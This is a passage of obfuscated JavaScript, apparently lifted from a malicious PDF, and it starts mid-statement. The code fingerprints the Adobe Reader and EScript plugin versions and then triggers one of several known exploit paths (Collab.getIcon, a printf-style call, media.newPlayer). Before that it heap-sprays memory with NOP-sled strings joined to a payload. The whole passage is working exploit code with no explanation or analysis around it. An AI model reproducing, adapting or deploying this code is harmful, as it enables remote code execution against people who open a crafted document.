vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} var tUMhNbGw=unescape('	');while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} tUMhNbGw='N.'+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}a();a();try{this.media.newPlayer(null);}catch(e){}a();}}

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